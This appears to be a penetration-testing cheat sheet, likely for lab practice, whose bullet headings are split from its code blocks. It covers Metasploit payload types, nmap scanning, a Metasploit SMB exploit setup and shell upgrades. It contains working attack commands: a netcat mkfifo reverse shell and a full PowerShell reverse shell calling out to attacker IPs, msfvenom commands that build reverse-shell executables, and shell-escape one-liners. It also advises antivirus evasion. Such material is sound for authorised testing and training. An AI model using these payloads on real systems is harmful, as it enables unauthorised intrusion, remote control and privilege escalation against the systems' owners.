Staged Payloads
Sends initial stage first, then downloads main payload
Better for environments with sufficient memory
Example naming: windows/meterpreter/reverse_tcp
windows/meterpreter/reverse_tcp
Stageless Payloads
Entire payload sent at once
Ideal for low-bandwidth environments
Example naming: windows/meterpreter_reverse_tcp
windows/meterpreter_reverse_tcp
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc 10.10.14.12 7777 > /tmp/f
List Available Payloads
Linux Payload Creation
Windows Payload Creation
TTL Check via Ping
Nmap OS Detection
139, 445: NetBIOS/SMB
135: MSRPC
443: HTTPS
DLLs: For privilege escalation and UAC bypass
Batch Files (.bat): Automation scripts
VBScript (.vbs): Client-side automation
MSI Files: Installation packages
PowerShell Scripts: System automation and exploitation
Identify Linux distribution
Check available shells and programming languages
Determine system role (web server, database, etc.)
Look for application-specific vulnerabilities
Search for known CVEs
Python TTY Shell
Basic Shell Spawning
VIM Shell Escape
Always perform thorough reconnaissance
Document all findings and attempted exploits
Verify target scope and permissions
Maintain access securely
Document all changes made to the system
Clean up after testing is complete
Use staged payloads for better reliability
Consider antivirus evasion techniques
Always use secure channels for communication
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.14.158',443); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0}; while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) { $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i); $sendback = (iex $data 2>&1 | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> '; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush() }; $client.Close()"
msfvenom -l payloads
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<attacker_IP> LPORT=<attacker_port> -f elf > payload.elf
msfvenom -p windows/shell_reverse_tcp LHOST=<attacker_IP> LPORT=<attacker_port> -f exe > payload.exe
ping <target_ip> # Look for TTL=128 or 32
sudo nmap -v -O <target_ip> sudo nmap -v -A <target_ip> # Aggressive scan
# Start Metasploit sudo msfconsole # Search for exploit search smb # Configure exploit use <exploit_number> set RHOSTS <target_ip> set SHARE ADMIN$ set SMBPass <password> set SMBUser <username> set LHOST <attacker_ip> # Execute exploit
python -c 'import pty; pty.spawn("/bin/sh")'
/bin/sh -i perl -e 'exec "/bin/sh";' ruby -e 'exec "/bin/sh";' lua -e 'os.execute("/bin/sh")' awk 'BEGIN {system("/bin/sh")}'
vim -c ':!/bin/sh' # Or in VIM: :set shell=/bin/sh :shell
# File permissions ls -la <path/to/file> # Sudo permissions sudo -l